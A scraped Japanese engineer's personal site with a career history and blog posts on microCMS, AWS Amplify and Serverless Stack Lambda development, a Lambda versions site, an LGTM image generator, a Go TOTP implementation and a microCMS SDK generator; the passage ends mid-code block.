2011頃からプログラミングを学ぶようになったが、当時はビット演算の概念を上手く理解できず、情報処理技術者試験を通じてコンピュータの基礎を学ぶようになった。
応用情報処理技術者試験合格。

コンピュータの基礎を学ぶ

在籍中は情報処理技術者試験のシラバスに沿ってコンピュータの基礎を学び、応用情報処理技術者試験に合格。

プログラミングという行為自体への興味はあるもの、特に作りたいものがあったわけではなかった。そんな中、当時所属していた高校のコンピュータ部顧問の勧めで競技プログラミングに出会う。パソコン甲子園本戦出場。

高崎商科大学附属高等学校 卒業

在籍中は情報処理技術者試験のシラバスに沿ってコンピュータの基礎を学び、情報セキュリティスペシャリスト試験に合格。
この試験を通じてコンピュータのセキュリティへの興味関心が強くなり、セキュリティキャンプに参加して主に Web 分野のセキュリティへの理解を深めた。

Ruby で簡単な Lisp インタプリタを実装したり、 Scala で簡単な Web アプリケーションを実装したりプログラミング能力の向上に努めた。

太田情報商科専門学校 卒業

CTO の社員募集ブログを見て社風に興味を持ち株式会社 Abby に入社。
主にソーシャルゲームの開発に従事する。 Go, MySQL, Redis で API サーバを書く経験を 3~4 年ほど積んだ。並行して Vue, JavaScript, TypeScript を利用した管理画面の開発や、 社内の Arch Linux サーバ、 Jenkins の運用などを経験した。

株式会社 Abby 入社

2019年頃からVTuberに興味を持つ。自分の好きなコンテンツに貢献したいと思い ANYCOLOR 株式会社に入社。
主に Serverless Framework, DynamoDB、サーバサイド TypeScript などの経験を積む。
その他、複数のプロジェクトに参加し AWS CDK, S3, CloudFront, Rails, Laravel などの経験を積む。

ANYCOLOR 株式会社 入社

エンジニアに使われるサービスを作りたいと思い株式会社 microCMS に入社。

株式会社 microCMS 入社

GitHub

Gist

Twitter

ほしい物リスト

TypeScript

1Password の CLI で環境変数を管理するGitHubで開く

Tridactyl を使って Firefox を Vim のように制御/拡張する

ブラウザから家電を操作しよう (microCMS × Nature Remo)

microCMS × OpenAPIで高速かつ安全な開発を行う話

microCMS のコンテンツを Stripe に同期する

aws-vault を使って AWS のアクセスキーを暗号化して扱おう

2021年の9月末頃から株式会社microCMSでバックエンドエンジニアとして働いています。
4ヶ月弱ほど働いて感じたmicroCMSの良さについてこのブログで書きます。

あくまで個人の意見です。特に並び順に意味はありません。

## フルリモート

通勤の時間を節約できます。
テキストのコミュニケーションは [Slack](https://slack.com/) で、音声のコミュニケーションは [oVice](https://ovice.in/ja/) で行っています。
音声通話のときはカメラをオンにする方が多いですが、強制ではありません。
パジャマで働きたいときはカメラをオフにしても問題ないです。
自宅では集中できないという気分の時はコワーキングスペースなどで働いても問題ないです。
oVice には作業部屋があり、ここに居る人にはシステム的に通話が不可能になるので、ここに移動すると作業に集中できます。
逆に言えばそこ以外の場所にいる人に対してはリモートであっても気軽に話しかけることが可能です。

## 待遇が良い

給与に関しては人によるかもしれませんが…。
自分の場合は前職と比べて二桁パーセント高い数値を提示していただきました。
良いエンジニアには高い給与を払うべきという文化が根付いていると思っています。

有給も初日から10日ほど付与されました。

## 情報がオープン

microCMS のバリューには「オープンでいよう- No secrets.」という文言があります。
自分は積極的に色んな情報を集めたいタイプなので、 Slack の鍵チャンネルが多いと萎えてしまうタイプです。
microCMS では例えば経営会議の議事録も Notion で公開されていたりします。
お互いに隠し事が無いので信頼関係を築きやすいと感じています。

## 残業が少ない

先月の自分の勤怠履歴を見てください。

![](https://images.microcms-assets.io/assets/6d557c87790a4d889ca5641b57b7947f/e0d34ec6fad84a22acb8493b5cd47ee5/image.png)

なんか 12/9 だけ頑張っちゃってますが、基本的には10時頃に出社して19時頃には帰れます。
土曜日の勤怠がありますが、これは先日の log4j の問題に対するとある対応を行ったためです。
バックエンドエンジニアの立場としてはこういう突発的なトラブルと向き合う必要はありますが、サービス残業にはなっていないです。

## 全員エンジニア or 元エンジニアなので話が早い

microCMS の主な利用者は編集者とエンジニアです。
エンジニア向けの製品を作っているためか、現在 microCMS で働いている人は全員エンジニア or 元エンジニアです。
なので仕様の検討の時点で技術的な視点が必要なシーンもありますが、その観点でも難なくコミュニケーションを行えます。

## 仕事で勉強会の準備/技術ブログの執筆ができる

microCMS では毎月 [ジャムジャム！！Jamstack！！](https://jamjamjamstack.connpass.com/event/) という勉強会を主催しています。
この勉強会に関しては業務時間中に発表資料作成等の作業を行うことが認められています。
自分も一度発表の機会をいただいたのですが、実際に発表資料作成は業務時間中に行いましたし、他の人に頼んでリハーサルにも付き合ってもらえました。
[ジャムジャム！！Jamstack！！](https://jamjamjamstack.connpass.com/event/) に限らず、会社の利益に繋がるものであれば他の勉強会でも業務時間を使うことが認められると思います。

また、先日は社内でブログパーティというイベントがありました。
1日集中してみんなで技術ブログを書いて、それをちょっとずつ会社の技術ブログで公開していこうというイベントです。
要はハッカソンのブログバージョンです。

技術的なアウトプットを残していきたいと思うタイプなので、仕事でこのような機会があるのは嬉しいです。

## 仕事で OSS 開発ができる

microCMS では各言語向けの API クライアントを GitHub でライブラリとして公開しています。
その他、 [会社技術ブログのシステム](https://github.com/microcmsio/microcms-blog)、 [React 向けのモーダルを管理するライブラリ](https://github.com/microcmsio/react-hooks-use-modal) は業務として作っていたものが OSS になった一例です。
これらのメンテナンスはもちろん業務時間中に行えます。
OSS 開発に参加したいけど一歩踏み出せないという方は microCMS で働くと良いきっかけを得られるのではないでしょうか。

## to Developer の仕事

自分はアイデンティティとしてソフトウェアエンジニアであるという点を重視しています。
そして同じソフトウェアエンジニアから認められたいという承認欲求があります。
microCMS がサービスを継続できるのは多くのエンジニアの皆さんに認められているからとも考えられるので、 microCMS の開発をすることによって精神的に満たされるものがあります。

## 技術的に複雑で面白いタスクが多い

microCMS には単純な CRUD の API 開発などの仕事はあまり多くないです。
例えば microCMS の管理画面から更新情報やロードマップを閲覧できますが、これらを取得するための API や管理画面を直接実装することはありません。
こういうシンプルな API と管理画面を実現するときは microCMS を利用します。いわゆるドッグフーディングでもあります。

代わりに microCMS で管理されたサービスの OpenAPI を提供する仕組みを考えたり、 カスタムドメイン機能を提供する仕組みを考えたり、より複雑で技術的に面白いタスクに時間を費やすことができます。

## microCMS ではバックエンドエンジニアを募集しています

[microCMS ではバックエンドエンジニアを募集しています！](https://herp.careers/v1/wanta/nVBH6VWLb_wL)

自分はバックエンドエンジニアというポジションなので、まずこのポジションを紹介させていただきましたが、[他のポジションの募集](https://herp.careers/v1/wanta)も積極的に行っています。

もしこのブログを読んで microCMS での仕事に興味を持った方は [@shibe97](https://twitter.com/shibe97), [@shoma2da](https://twitter.com/shoma2da), [@lambdasawa](https://twitter.com/lambdasawa) のどれかに連絡をください。
カジュアルにお話をしましょう！

microCMS でバックエンドエンジニアとして働いています

microCMS のカスタム通知をローカル環境で受け取って開発をスムーズにする

microCMS のカスタム通知を使ってコンテンツ更新をTwitterに投稿する

この記事は「[AWS Amplify Advent Calendar 2021](https://qiita.com/advent-calendar/2021/amplify)」の9日目の記事です。

CloudFormation 経由でのデプロイは一貫性を保ちやすい一方で時間がかかります。

最近は Lambda をデプロイするツールに CloudFormation を経由せずに高速にデプロイをする機能が実装されることが増えてきたように思えます。
自分が把握しているだけで以下のツールがそれを実装しています。

- [Serverless Stack](https://dev.classmethod.jp/articles/serverless-stack/)
- [CDK](https://aws.amazon.com/jp/about-aws/whats-new/2021/10/aws-cdk-releases-hotswap-rollback-control/)
- [SAM](https://aws.amazon.com/jp/blogs/news/aws-sam-accelerate/)

Amplify の function にも同様の機能があると嬉しいですが、残念ながらまだ実装されていません。
そこでホットスワップ機能をプラグインという形で実装したので、今回はそのプラグインについて紹介します。

## amplify-function-hotswap-plugin

`amplify-function-hotswap-plugin` という名前のプラグインを実装して公開しました。
https://github.com/lambdasawa/amplify-function-hotswap-plugin にてソースコードとデモを確認することができます。

### 設計

Amplify はプラグインの作り方を https://docs.amplify.aws/cli/plugins/authoring/ にて公開しており、この仕組みを利用することによって `amplify` コマンドのサブコマンドを `amplify-cli` のリポジトリに手を加えることをなく作成することができます。
`amplify-function-hotswap-plugin` はこの仕組みを利用して `amplify amplify-function-hotswap-plugin watch` というコマンドでホットスワップを開始できるようになっています。

このコマンドが実行されると `amplify-function-hotswap-plugin` は `amplify/backend/function` 以下のファイル監視を開始し、ファイル変更を検出するとその Lambda に対して `lambda:UpdateFunctionCode` のオペレーションを呼び出して Lambda のコードを更新します。
これは素朴な操作なので短時間で完了します。
参考程度に自分が開発に参加している Amplify のプロジェクトでは `amplify push` だと 2 分程度かかるところが、このホットスワップの仕組みでは 10 秒程度で完了します。

また、 Amplify では `amplify/backend/function` 以下に Lambda 関数だけではなく Lambda レイヤーのコードが入ることもあります。
`amplify-function-hotswap-plugin` ではそのケースにも対応しています。
つまり、 Lambda レイヤーのコードが更新された場合は新たな Lambda レイヤーのコードがアップロードされ、そのレイヤーに依存している関数も同時に更新されます。
この依存関係は `amplify/amplify-meta.json` を読み取ることで把握しています。

AWS の API コールを行う際のクレデンシャルは `amplify/.config` 以下のファイルを参照して通常の `amplify` コマンドと同様のものを使用しています。

### 実装

いくつかボイラープレート的なファイルはありますが、本体の実装は https://github.com/lambdasawa/amplify-function-hotswap-plugin/blob/main/commands/watch.js の1ファイルのみです。

[`node-watch`](https://www.npmjs.com/package/node-watch) でファイル監視を行い、  [`amplify-cli-core`](https://www.npmjs.com/package/amplify-cli-core) で各種設定ファイルをパースし、 `aws-sdk` で実際に更新を行います。
とても素朴な実装です。

### 今後

素朴な仕組みではありますが、自分が開発に参加しているプロジェクトのメンバーの皆さんはこのプラグインを利用してくれており、上手く機能しているようです。

本来はこのような仕組みがプラグインではなく `amplify-cli` 自体に含まれているのが望ましいと考えており、  [Issue](https://github.com/aws-amplify/amplify-cli/issues/8642) と [プルリク](https://github.com/aws-amplify/amplify-cli/pull/8686) を作ってみました。
しかし残念ながら上手く進めることができておらず、やりとりが止まってしまっています。
何か上手く進めるためのアドバイスなどがあれば教えていただけると幸いです。

Amplify で function の hotswap を実現する方法について

microCMS のカスタムドメインについて

[Serverless Stack](https://docs.serverless-stack.com/) という AWS でサーバレスなアプリケーションを作るためのフレームワークが存在します。

CloudFormation や AWS CDK を用いて Lambda をデプロイしようとすると数十秒〜数分かかることが多いと思います。

Serverless Framework には Live Lambda Development という仕組みが存在しています。

この仕組みを活用することによって、ローカルのユニットテストより本番に近い環境 && AWS にデプロイするより早いサイクルで開発を行うことができます。

Live Lambda Development のアイデア
-----------------------------

そもそも何もデプロイしなくて良いならそれが一番早い、と考えることができます。

Live Lambda Development では Lambda とローカルのコードを WebSocket で繋ぐ仕組みを作ることによって、ローカルのコードを変更したときに実際には何もデプロイしていないにも関わらず一瞬でローカルのコードがデプロイされたかのような振る舞いを実現しています。
つまり Lambda 上で動かすためのコードを書いた後、 デバッグ用のコマンド (`sst start`) を実行すると Lambda にはそのコード自体ではなく WebSocket に `event` を流すだけのコードがデプロイされます。
その `event` は WebSocket でローカルマシンに渡されて処理されます。
もちろん本番デプロイ用のコマンド (`sst deploy`)を実行すると自分で書いたコードがそのままデプロイされます。

`sst start` をしたときに起こること
-----------------------

`sst start`は大きく分けて2つの処理を順に行います。

1.  各種 AWS リソースの作成
2.  ローカルマシンで WebSocket の通信を行う仕組みの起動

### 作成される AWS リソースについて

![](https://images.microcms-assets.io/assets/6d557c87790a4d889ca5641b57b7947f/25bfcc31a85145ceb9f27047dd45de13/serverless-stack.jpg)

左の API Gateway (HTTP) と Lambda はアプリケーションのコードが含まれるものです。

その他の S3、 DynamoDB、 中央にある API Gateway (WebSocket) と Lambda はデバッグスタックと呼ばれるもので、本番デプロイのときは使用されません。

まず中央の API Gateway (WebSocket) と Lambda はアプリケーション本体となる Lambda とローカル PC を繋ぐ中間サーバです。

API Gateway (HTTP) 内にある Lambda が直接ローカルマシンと WebSocket で接続することはできません。

API Gateway (HTTP) → ローカルマシンの通信では NAT が問題になり、 ローカルマシン → API Gateway (HTTP) で通信する際は API Gateway が WebSocket と HTTP の両方を listen するように定義できないという仕様が問題なります。

この問題を解決するために API Gateway (WebSocket) が必要になります。

S3 には `event` オブジェクトが入ります。
基本的には `event` は WebSocket のデータとして送られるのですが、 [32kb を超えるサイズのデータは API Gateway では扱えない](https://docs.aws.amazon.com/ja_jp/apigateway/latest/developerguide/limits.html#apigateway-execution-service-websocket-limits-table)ため、そのようなデータは S3 に保存されて WebSocket 上ではそのキーのみをやりとりします。
`event` は `gzip` で圧縮されたバイナリに変換された後、 `base64` でテキストに変換されてやりとりされます。
DynamoDB にはクライアントとのコネクション ID が保持されています。
WebSocket 側の Lambda が HTTP 側の Lambda から `event` を WebSocket で受け取って起動した際、それをクライアント側の WebSocket コネクションに流す必要がありますが、その時点でその Lambda のプロセスがクライアントのコネクションを保持しているとは限らないのでこの情報を永続化する必要があります。
これらのデプロイは AWS CDK (CloudFormation) を使用して行われるため数分待たされてしまうのですが、初回デプロイのみの問題です。

### ローカルマシンで WebSocket の通信を行う仕組み

これは単純です。
[Node.js の ws パッケージ](https://github.com/websockets/ws)で API Gateway と WebSocket のコネクションを貼って `event` が飛んでくるのを待ちます。
`event` が飛んできたらローカルのコードを別プロセスとして起動して、プロセス間通信で処理結果を受け取り、その処理結果を API Gateway に WebSocket で送り返します。

--

HTTPリクエストが発行されてからHTTPレスポンスが返されるまでの流れ
------------------------------------

各要素について説明を行いましたが、まとめると以下のような順で処理が行われるということになります。

-   API Gateway がブラウザから HTTP リクエストを受け付ける
-   HTTP の Lambda は`event` を WebSocket の Lambda に流す
-   ただし `event` が大きすぎる場合は `s3:PutObject` を行い、以降 `event` を渡す場所では S3 のキーを使う
-   WebSocket の Lambda は DynamoDB からコネクション ID を取得し、 `event` をローカルマシンに流す
-   ローカルマシンはローカルのコードを子プロセスとして起動し `event` を渡し処理結果を IPC で受け取る
-   ローカルマシンは IPC で受け取った処理結果を WebSocket の Lambda に送り返す
-   WebSocket の Lambda はローカルマシンから受け取った処理結果を HTTP の Lambda から受け取る
-   HTTP の Lambda はブラウザに処理結果を送る

参考リンク
-----

-   [HTTP の Lambda にデプロイされるコード](https://github.com/serverless-stack/serverless-stack/blob/890a468a6fffafe9e39a53f97b7a30353720cdbc/packages/resources/assets/stub/index.js)
-   [WebSocket の Lambda にデプロイされるコード](https://github.com/serverless-stack/serverless-stack/blob/890a468a6f/packages/cli/assets/debug-stack/lambda/wsDefault.js)
-   [ローカルマシンで起動するコード](https://github.com/serverless-stack/serverless-stack/blob/890a468a6f/packages/cli/scripts/start.js)

終わりに
----

サーバレスのシステムは運用は楽なものの開発は難しいという側面があると思います。
そんな中で最近はこの Serverless Stack だったり AWS CDK の hotswap 機能がリリースされたりしました。
自分も最近 [Amplify 上で hotswap を行うプラグイン](https://github.com/lambdasawa/amplify-function-hotswap-plugin) を実装したりしました。
これを読んだ誰かが開発を楽にする新しいアイデアを思いつたり、それを実装したりするきっかけになれば幸いです。

Serverless Stack の Live Lambda Development の仕組み

株式会社microCMS

http://lambda-versions.com/

https://www.lambdasawa.me/blogs/aws-lambda-runtime-patch-versions で投稿したものを更新しました。

今までは HTML しか返していなかったのですが、 JSON 用のエンドポイント ([http://lambda-versions.com/versions.json](http://lambda-versions.com/versions.json)) を追加しました。
これによって機械的な処理 (ex: curl & jq) が行いやすくなりました。

ついでに今まで S3 の static website hosting で払い出されれたドメインを使っていましたが、分かりやすいドメイン (http://lambda-versions.com/
) を割り当ててあげました。

## 実装: Lambda

もともとシンプルに S3 で静的なファイルをホスティングしているだけのサイトでした。
コストを掛けずに運用したいという理由でそれは今後も変えたくなかったため、API Gateway や Web アプリケーションフレームワークは導入していないです。
代わりにこのバケットへの PutObject をトリガーにして起動する Lambda を作成し、その Lambda 内で既存のバージョン情報をかき集めて JSON ファイルを作成してそれをさらに PutObject する仕組みを作りました。

ここで一つ事故が起こりました。
PutObject を実行する Lambda と PutObject をトリガーにして起動する Lambda が存在しているため、Lambda が無限に起動し続ける可能性がある状態になっており、実際に無限ループしていました。
自分の場合は1時間くらいで気がつけたので問題ないですが、いわゆるクラウド破産的な高額請求が発生しうるケースでした。参考: [10日間 で AWS Lambda 関数を 28億回 実行した話](https://blog.mmmcorp.co.jp/blog/2019/12/25/lambda-cloud-bankruptcy/)
(とはいえ、請求金額に対するアラームは設定済みなので実際の損失は数千円で止められたと思います)

もちろん現在は修正済みです。
今回は一次対応としては手動で Lambda のトリガーを削除しました。
その後に根本対応として、PutObject しようとするファイルに差分があるか事前にチェックし、差分があった場合のみ PutObject をするように Lambda のコードを修正しました。
差分が無い場合は PutObject されないのでそこでループが止まります。

今回は採用しなかったやり方ですが、 S3 バケットを分割することによっても対処できたと思います。

## 実装: ドメイン

シンプルに static website hosting の設定を Route 53 でエイリアスレコードとして割り当てました。
10日ほど前にカヤックさんが [CloudFrontのS3 Originにはhostヘッダーを転送してはいけない](https://techblog.kayac.com/do-not-use-cloudfront-s3-origin-with-managed-all-viewer) という記事を公開していましたが、ちょうどこれと同じ問題に直面しました。
タイムリーですね。

## 最後に

面倒な問題が2つ発生しましたが、日頃からある程度キャッチアップをしておいたおかげで類似の問題をすぐ思い出すことができて、素早く対処できました。
Feedly を眺めている時間が無駄になっていないようで良かったです。

Lambda のパッチバージョンが見れるサイトを機械可読にした

今までは www.lambdasawa.net に Hugo で作ったサイトを CloudFront  + S3 の構成で公開していました。
新しく www.lambdasawa.me のドメインを取得して Next.js + Tailwind CSS + microCMS でこのサイトを作りました。

旧ドメインには Lambda@Edge が仕掛けてあって、今はアクセスすると新ドメインにリダイレクトされるようになっています。

仕事では基本的にはバックエンドエンジニアとして振る舞うことが多いのですが、最近はフロントエンドエンジニア的な振る舞いをする機会が生まれてきたので、経験値を積むために Next.js を採用しました。
microCMS も同様に仕事で使う機会が増えてきたことが採用理由です。

JavaScript (TypeScript) 自体は今までも頻繁に書いていたし、 microCMS も良い意味でよくある Web API なので特に躓くことは無く使えています。
CSS は未だに上手に書けないので、このサイトの構築/運用で克服していきたいです。

ブログをリニューアルしました

<https://github.com/lambdasawa-sandbox/headless-lgtm-generator> を作りました。

以下のように `curl` でリクエストを投げると GitHub に貼り付けられる Markdown が返ってきます。

```sh
$ curl 'https://headless-lgtm-generator.herokuapp.com/markdown'
![LGTM](https://headless-lgtm-generator.herokuapp.com/?t=1627259720316)
> https://www.pinterest.com.au/Pixabay/
```

実際に使用するときは `alias lgtm="curl 'https://headless-lgtm-generator.herokuapp.com/markdown' | pbcopy"` みたいなエイリアスを貼っておくと、 `lgtm` とタイプするだけで適当な LGTM 画像のリンクがクリップボードに入ってきて便利です。

なお、このエンドポイントはいくつかクエリストリングを受け付けるようになっており、飯テロをしたい場合は以下のようなコマンドが便利です。

```sh
$ curl 'https://headless-lgtm-generator.herokuapp.com/markdown?q=肉&category=food&colors=brown'
![LGTM](https://headless-lgtm-generator.herokuapp.com/?q=%E8%82%89&category=food&colors=brown&t=1627260031691)
> https://www.pinterest.com.au/Pixabay/
```

LGTM画像を選ぶときにいつも迷ってしまい時間を浪費しがちだったので、ランダム性に頼ってそこを解決することを目的としています。

## 設計とか実装とか

Pixabay と Imgix に大きく依存しています。

Pixabay はいわゆるフリー素材の配布サイトです。
Pixabay を採用した理由は2つあります。
1つは[ライセンス](https://pixabay.com/ja/service/license/)で明示的に改変と再配布が許可されていることです。
もう1つは[API](https://pixabay.com/api/docs/)が提供されていることです。

Imgix は画像に特化したCDNです。
今回はCDNとしての用途は重視しておらず、[クエリストリングでテキスト描画などが出来る機能](https://docs.imgix.com/apis/rendering)に着目しました。
LGTMという文字列はこの機能を使って描画しています。

運用を頑張りたくなかったので実行環境には Heroku を採用しています。
素朴なアプリケーションなので頑張ってCloudFormationのテンプレートや`serverless.yml`などを書くのを避けました。

使用した言語は Clojure です。
今年の誕生日に欲しい物リストを貼ったら[プログラミングClojure](https://shop.ohmsha.co.jp/shopdetail/000000001949/)を送ってくださった方がいたので、Clojurianとしての素振りという意味合いが強いです。

その他、あまり採用事例を見たことがないのですが、シークレットの管理には Doppler を使用しました。
個人で使うAPIキーは今まで1Passwordで管理することが多かったのですが、それをプログラムに反映させるのが手間という問題がありました。
より具体的には`direnv`を使う想定で`.envrc`, `.env`にシークレットをコピペするのが面倒という話です。
複数マシンを使っているとそのマシン間でシークレットを同期させるのが面倒という問題もあります。
これらの問題を Doppler で出来そうでした。

以下のように `direnv exec` の代わりに `doppler run` を使用することで `.envrc`, `.env` を書かずにシークレットを環境変数に設定した状態でコマンドを実行することが出来ます。

```sh
$ doppler login    # マシンごとに1回だけやる
$ doppler setup    # doppler.yml があればやらなくて良い
$ doppler run -- bash -c 'echo $PIXABAY_API_KEY'
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
```

事前にシークレットを Dopper に登録しておく必要はあります。
これはブラウザからも出来ますし、`doppler secrets set HOGE` のようにCLIから行うことも出来ます。


ヘッドレスなLGTM画像ジェネレータを作りました

headless-lgtm-generator

ふとMFAの仕組みがどうなっているのか気になったので暇な時間に調べてみたところ、割とシンプルな仕組みだったので標準ライブラリだけで実装してみた。  
ひと口にMFAといってもさまざまな方式があるが、6桁の数字が30秒ごとに切り替わるアレのことを扱う。

コードは[Gist](https://gist.github.com/lambdasawa/5ecf05b00b55abc26d65e5b836184ee5)にアップロードした。  
この実装はCLIのアプリケーションとして実際に使用可能で、これを使ってたとえばTwitterにログインできる。

この記事ではその仕組みについて簡単にまとめる。

## 仕組みの概要

- 事前に鍵を共有する
  - よくあるのはQRコードの読み取り
  - [あるいはBase32エンコードされた文字列として取り扱う](https://gist.github.com/lambdasawa/5ecf05b00b55abc26d65e5b836184ee5#file-main-go-L17)
    - これはサイトによるが、2段階認証のセットアップ時にQRコードが表示される画面で「QRコードが読み取れない場合はこちら」みたいなリンクを踏むと表示される
- [定期的に切り替わる値として、 `unix timestamp % 30` を扱う](https://gist.github.com/lambdasawa/5ecf05b00b55abc26d65e5b836184ee5#file-main-go-L46)
- [前述の鍵と定期的に切り替わる値を入力としてHMAC-SHA1を使用し160bitのバイト列を取得する](https://gist.github.com/lambdasawa/5ecf05b00b55abc26d65e5b836184ee5#file-main-go-L64)
- このバイト列からいい感じに6桁の10進数を取得する
  - [まず末尾4bitを10進数として読み取る](https://gist.github.com/lambdasawa/5ecf05b00b55abc26d65e5b836184ee5#file-main-go-L66) (0~15)
  - [160bitのバイト列からいい感じに32bit読み取って数値として解釈する](https://gist.github.com/lambdasawa/5ecf05b00b55abc26d65e5b836184ee5#file-main-go-L68)
    - 開始位置は前述の末尾4bitの10進数を読み取った値（0~15バイトから読み取り）
    - 終了位置は開始位置+32bit（4~19バイトまで読み取る）
    - 上位1bitは無視する
    - この32bitをビッグエンディアンの符号無し整数として解釈する
  - [この数値の下6桁を読む](https://gist.github.com/lambdasawa/5ecf05b00b55abc26d65e5b836184ee5#file-main-go-L70)

これで30秒ごとに切り替わる6桁の数値が取れる。  
クライアントはこれを表示し、サーバはクライアントから受け取った値と自分で計算した値を比較して認証を行う。

## 仕様

- [TOTP: Time-Based One-Time Password Algorithm](https://datatracker.ietf.org/doc/html/rfc6238)
- [HOTP: An HMAC-Based One-Time Password Algorithm](https://datatracker.ietf.org/doc/html/rfc4226)

スペックではないが、 QRコードで表されるカスタムURLスキームのフォーマットに関しては[Google AuthenticatorのGitHub Wiki](https://github.com/google/google-authenticator/wiki/Key-Uri-Format) がデファクトスタンダードとして参照されているようである。


Google Authenticator的なやつをGoで実装した

郡道美玲非公式ファンサイト

## 前提

そもそも [microCMS](https://microcms.io/) が何かというと Headless CMS と呼ばれるものの一種です。
[Contentful](https://www.contentful.com/) や [strapi](https://strapi.io/) を知っている方はそれと同じようなものと考えていただいて差し支えありません。
これらを知らない方向けに簡単に説明すると、あるサービス上で GUI を使ってデータのスキーマを定義するとそれに対応した管理画面と REST API が生成されるものです。

例えば `microCMS` 上で以下のようなスキーマを定義したとします。

![schema](https://images.microcms-assets.io/assets/6d557c87790a4d889ca5641b57b7947f/53835e4b369f4474b8f8aa32918bb2a7/microcms-sdk-generator-schema.png)

その後、以下のようにデータを入稿したとします。

![testdata](https://images.microcms-assets.io/assets/6d557c87790a4d889ca5641b57b7947f/6e24eee4f11044cabf706f12b5201d30/micrcocms-sdk-generator-data.png)

こうするとエンジニアがサーバを管理せずとも以下のように REST API にアクセスすることができます。

```typescript
fetch('https://example.microcms.io/api/v1/users', {
  headers: {
    'x-api-key': 'xxxx'
  },
})
  .then(res => res.json())
  .then(res => console.log(res));
```

通信が完了すると以下のような値がログに出力されます。

```json
{
  "contents": [
    {
      "id": "kr8sq-sxwg",
      "name": "lambdasawa",
      "createdAt": "2021-05-03T07:53:47.448Z",
      "updatedAt": "2021-05-03T08:27:43.735Z",
      "publishedAt": "2021-05-03T07:53:47.448Z",
      "revisedAt": "2021-05-03T08:27:43.735Z"
    }
  ],
  "limit": 10,
  "offset": 0,
  "totalCount": 1
}
```

同様に参照だけではなく CRUD 全ての操作が行えるようになります。
例えば以下のようなコードを実行することで新規作成を行うことが出来ます。

```typescript
const data = {
  name: 'your name',
};

fetch('https://example.microcms.io/api/v1/users', {
  method: 'POST',
  headers: {
    'x-write-api-key': 'xxxx',
    'content-type': 'application/json',
  },
  body: JSON.stringify(data)
})
  .then(res => res.json())
  .then(res => console.log(res));
```

とても便利ですね。
しかしこのようなコードを静的型付け言語で扱うとしたら、以下のようにリクエスト/レスポンスの型を定義したいですよね。

```typescript
type UserCreateRequest = {
  name: string;
}

type UserCreateResponse = {
  contents: User[],
  limit: number,
  offset: number,
  totalCount: number,
}

type User = {
  id: string,
  name: string,
  createdAt: Date,
  updatedAt: Date,
  publishedAt: Date,
  revisedAt: Date,
}

const data: UserCreateRequest = {
  name: 'your name',
};

fetch('https://example.microcms.io/api/v1/users', {
  method: 'POST',
  headers: {
    'x-write-api-key': 'xxxx',
    'content-type': 'application/json',
  },
  body: JSON.stringify(data)
})
  .then(res => res.json())
  .then(res => {
    return {
      contents: res.contents.map(user => {
        return {
          id: user.id,
          name: user.name,
          createdAt: new Date(user.createdAt),
          updatedAt: new Date(user.updatedAt),
          publishedAt: new Date(user.publishedAt),
          revisedAt: new Date(user.revisedAt),
        };
      }),
      limit: res.limit,
      offset: res.offset,
      totalCount: res.totalCount,
    } as UserCreateResponse;
  })
  .then(res => console.log(res));
```

途端に退屈なコードが沢山必要になりました。
しかし、これを行わないとこのデータを `any` などの型で扱う必要性があり、それを参照したときにエラーが発生する可能性が大きくなります。
このようなコードを書くのは退屈ですし、 typo などによってこれまた面白くないエラーに遭遇することになります。

静的型付けによるメリットは享受したいですが、このような作業は行いたくないです。

この問題を解決するために [`microcms-sdk-generator`](https://github.com/lambdasawa/microcms-sdk-generator) というこのようなボイラープレートのコードを生成するツールを実装しました。

## 仕組み

`microCMS` には GUI で定義したスキーマを JSON ファイルとして[エクスポート](https://blog.microcms.io/api-fields-export-and-import)する機能があります。

また、 [OpenAPI Generator](https://openapi-generator.tech/) というツールを使うと OpenAPI 形式の YAML ([公式の例](https://github.com/OAI/OpenAPI-Specification/blob/main/examples/v2.0/yaml/petstore.yaml))
 から API クライアントを生成することができます。

今回はこの2つのグルーコードを用意することによってこの問題を解決しました。

つまり、 `microCMS` からエクスポートされた JSON 形式のスキーマを OpenAPI の仕様に則った YAML 形式のファイルに変換した後、 OpenAPI Generator を実行することで API クライアントを生成します。

実際はもう少しだけ複雑です。

`microCMS` からエクスポートされたスキーマにはあるフィールドが他のスキーマに依存していることは定義されているものの具体的にどのスキーマに依存しているか分からなかったり、 その API の設定 (リスト形式かオブジェクト形式か) の情報が含まれていなかったり、この実装を行うには情報が不十分です。
そのため事前にプログラマが `metadata.yml` という設定ファイルを生成するときに作成し、実行時に `microcms-sdk-generator` がこれらの情報を読み取ることでこのギャップを補っています。

このような仕組みにすることで多少のクライアントコードの使い勝手を犠牲にすることによって、少ないメンテコストで様々な言語/ライブラリのクライアントを生成することができます。
様々というのは具体的にいうと OpenAPI Generator が対応しているジェネレータの数と等しいため、 50 以上の言語/ライブラリに対応していることになります。

今回実装に使った言語は Go であり、OpenAPI Generator は Java で実装されているため、利用者がその両方の実行環境を用意しなくて済むように Docker Hub でイメージを公開してあります。

利用方法に関しては [README](https://github.com/lambdasawa/microcms-sdk-generator/blob/main/README.ja.md) を参照してください。
要はスキーマをエクスポートして、設定ファイルを書いて、 `docker run` を実行するだけです。
将来的に `microCMS` からエクスポートされたスキーマに情報が追加されれば設定ファイルを書く必要は無くなるかもしれません。

## どんなものが生成されるか

生成されるものを紹介する前に、その入力となるものを紹介します。

まず今回扱う例はブログサービスを想定します。
ブログ記事を表す `articles` オブジェクト、 その記事を書く人を表す `users` オブジェクト、 その他の雑多な設定値などを表す `setting` オブジェクトが `microCMS` 上で定義されているとします。
これらをエクスポートした結果が https://github.com/lambdasawa/microcms-sdk-generator/tree/main/examples/typescript-fetch/microcms/schemas となります。

これらに対する設定ファイルが https://github.com/lambdasawa/microcms-sdk-generator/blob/main/examples/typescript-fetch/microcms/metadata.yml となります。

これらのファイルがローカルにある状態で以下のようなコマンドを実行すると `${PWD}/microcms` ディレクトリ以下に OpenAPI の YAML と TypeScript + `fetch` で書かれたソースコードが生成されます。
`fetch` ではなく `Axios` を使いたい場合はそのようなジェネレータもあるため、 `generator-name` オプションを変更してください。

```sh
docker run \
  --rm \
  --pull always \
  --volume ${PWD}/microcms/:/app/microcms/ \
  --env METADATA_PATH=/app/microcms/metadata.yml \
  --env OPENAPI_PATH=/app/microcms/openapi.yml \
  --env OUTPUT_PATH=/app/microcms/ \
  lambdasawa/microcms-sdk-generator:latest \
  --generator-name typescript-fetch \
  --additional-properties=typescriptThreePlus=true,allowUnicodeIdentifiers=true
```

このコマンドで生成されたソースコードを利用する側のコードは以下のようになります。

```typescript
const api = new UsersApi({
  apiKey: 'xxxx',
});

api
  .searchUsers({ q: 'lambdasawa' })
